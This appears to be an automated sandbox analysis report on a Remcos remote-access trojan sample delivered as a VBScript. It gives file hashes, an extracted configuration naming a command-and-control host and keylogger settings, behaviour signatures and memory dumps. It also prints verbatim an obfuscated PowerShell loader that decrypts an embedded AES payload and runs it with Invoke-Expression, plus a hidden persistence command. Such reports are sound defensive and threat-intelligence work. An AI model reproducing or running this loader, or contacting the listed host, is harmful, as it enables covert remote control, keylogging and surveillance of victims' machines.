remcos | 043ca2ac861326e01d02af9599b54c8a23b781dda3e9f3c31166885a1f67e401

Analysis

max time kernel
290s
max time network
295s
platform
windows10-1703_x64
resource
win10-20231025-en
resource tags

arch:x64arch:x86image:win10-20231025-enlocale:en-usos:windows10-1703-x64system
submitted
05-12-2023 18:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

envifa.vbs
Size

159KB
MD5

5b0011526c3005e35e88002cfcf3dff8
SHA1

5b0b70c2857e84d0abe2b04b0593ccfc49395a8f
SHA256

043ca2ac861326e01d02af9599b54c8a23b781dda3e9f3c31166885a1f67e401
SHA512

4af5c688c4c971950724cd706d09d968973fc65f9b69bf5a969900771577b56799e33d3ca2dd0972ff78d06f4751d609711b19ee793c159189981ed07946d989
SSDEEP

3072:jk+jUIUfUPUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUgUVUPUdUgUgUgUgUgUgUgUo:XjUIUfUPUgUgUgUgUgUgUgUgUgUgUgUL

Score

10^/10

remcos remotehost rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

remccoss2023.duckdns.org:4576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-E5ZBB0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 2916 powershell.exe
5 2916 powershell.exe
Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\google.lnk powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2916 set thread context of 4172 2916 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

2916 powershell.exe
2916 powershell.exe
2916 powershell.exe
3172 powershell.exe
3172 powershell.exe
3172 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2916 powershell.exe
Token: SeDebugPrivilege 3172 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegAsm.exe

pid process

4172 RegAsm.exe

flow	pid	process
2	2916	powershell.exe
5	2916	powershell.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\google.lnk	powershell.exe

description	pid	process	target process
PID 2916 set thread context of 4172	2916	powershell.exe	RegAsm.exe

pid	process
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
3172	powershell.exe
3172	powershell.exe
3172	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	3172	powershell.exe

pid	process
4172	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1332 wrote to memory of 2916	1332	WScript.exe	powershell.exe
PID 1332 wrote to memory of 2916	1332	WScript.exe	powershell.exe
PID 2916 wrote to memory of 3172	2916	powershell.exe	powershell.exe
PID 2916 wrote to memory of 3172	2916	powershell.exe	powershell.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe
PID 2916 wrote to memory of 4172	2916	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\envifa.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command function Decrypt-AESEncryption{Param([String]$CBGNKODNPÇ,[String]$Keygfhfghfgiy)$OGjnLfnOaç = New-Object System.Security.Cryptography.AesManaged;$OGjnLfnOaç.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OGjnLfnOaç.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$OGjnLfnOaç.BlockSize = 128;$OGjnLfnOaç.KeySize = 256;$OGjnLfnOaç.Key = (New-Object System.Security.Cryptography.SHA256Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Keygfhfghfgiy));$BxwZvbgNLo = [System.Convert]::FromBase64String($CBGNKODNPÇ);$OGjnLfnOaç.IV = $BxwZvbgNLo[0..15];$decryptor = $OGjnLfnOaç.CreateDecryptor();$geLJgUoUQL = $decryptor.TransformFinalBlock($BxwZvbgNLo, 16, $BxwZvbgNLo.Length - 16);$OGjnLfnOaç.Dispose();return [System.Text.Encoding]::UTF8.GetString($geLJgUoUQL).Trim([char]0)}$qROuE = '58417081275505453806';$MqDDxKjJmA = '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';$GmtBWLkcKU = Decrypt-AESEncryption -CBGNKODNPÇ $MqDDxKjJmA -Key $qROuE;Invoke-Expression $GmtBWLkcKU
2⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2916

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\google.vbs
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3172

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
- Suspicious use of SetWindowsHookEx
PID:4172

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\registros.dat
Filesize
144B

MD5
bf306e98b8575f3eb0fa3b040090ef41

SHA1
a50e3c21a00c91aa9af6074816ae9b76dd86c1c0

SHA256
b0e14b0220c5c706e1f98ff3754f20a7fa1f9b0d3a31555a645a690423770644

SHA512
8ddf6857be95e63bdd759c60a888b44f12573b49a57abb5925763b3d7ae6b27363136f43472264bc88e1d38e63357aee52a641fd05481c126af24051e982f5b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
f6c90ab0db80c6c3ea92556fda7273c7

SHA1
01d3866b1887cbb0abe9701f6b49c5dbc66a7dfa

SHA256
a823c3b6f157c50315251d43db740ad37a736b967f0500e024e3a0f84192b269

SHA512
aa6b71e3a8fa46702787d190e3633b1ead0f66cce81065fa2262dde59c683a7fc48846fa2b0bbe94a050564855fc7a79842f0abfa53cc3315e4c766b3c4c1fbe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
2KB

MD5
679c08c2fcef41f7ff70c991404bbc84

SHA1
efb3707a241424adc528888f9f161d04be21ef69

SHA256
049e9c3cc1fd8c01c6f980e8e87070d02fafa41eae7d60376b939552e7942dc1

SHA512
1f2d713f8f3e77efaa7484bdc463ab47541b4673b1e35e77437c87cb7682185b4b76a3823768f5ceb100d7d1c0c73f123282fd4715355f3bdde4228eb455c763

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zv00cg1g.res.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/2916-29-0x00000237FEBC0000-0x00000237FEBCC000-memory.dmp

Filesize
48KB

Download
memory/2916-4-0x00000237E6750000-0x00000237E6772000-memory.dmp

Filesize
136KB

Download
memory/2916-25-0x00000237FE9B0000-0x00000237FE9C0000-memory.dmp

Filesize
64KB

Download
memory/2916-26-0x0000023780000000-0x00000237807A6000-memory.dmp

Filesize
7.6MB

Download
memory/2916-71-0x00007FFA38430000-0x00007FFA38E1C000-memory.dmp

Filesize
9.9MB

Download
memory/2916-34-0x0000023FFF520000-0x0000023FFF53E000-memory.dmp

Filesize
120KB

Download
memory/2916-5-0x00007FFA38430000-0x00007FFA38E1C000-memory.dmp

Filesize
9.9MB

Download
memory/2916-10-0x00000237FEB40000-0x00000237FEBB6000-memory.dmp

Filesize
472KB

Download
memory/2916-7-0x00000237FE9B0000-0x00000237FE9C0000-memory.dmp

Filesize
64KB

Download
memory/2916-9-0x00000237FE9B0000-0x00000237FE9C0000-memory.dmp

Filesize
64KB

Download
memory/3172-40-0x000001B32D730000-0x000001B32D740000-memory.dmp

Filesize
64KB

Download
memory/3172-61-0x000001B32D730000-0x000001B32D740000-memory.dmp

Filesize
64KB

Download
memory/3172-70-0x00007FFA38430000-0x00007FFA38E1C000-memory.dmp

Filesize
9.9MB

Download
memory/3172-41-0x000001B32D730000-0x000001B32D740000-memory.dmp

Filesize
64KB

Download
memory/3172-37-0x00007FFA38430000-0x00007FFA38E1C000-memory.dmp

Filesize
9.9MB

Download
memory/4172-96-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-107-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-77-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-78-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-79-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-80-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-81-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-82-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-83-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-84-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-85-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-86-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-88-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-89-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-90-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-91-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-92-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-93-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-95-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-68-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-97-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-98-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-99-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-100-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-104-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-105-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-106-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-108-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-109-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-111-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-112-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-113-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-114-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-115-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-116-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-60-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-118-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-119-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-120-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-121-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-122-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-123-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-124-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-125-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-127-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-128-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-129-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-130-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-131-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-132-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-133-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-135-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-136-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-137-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-138-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-139-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4172-140-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download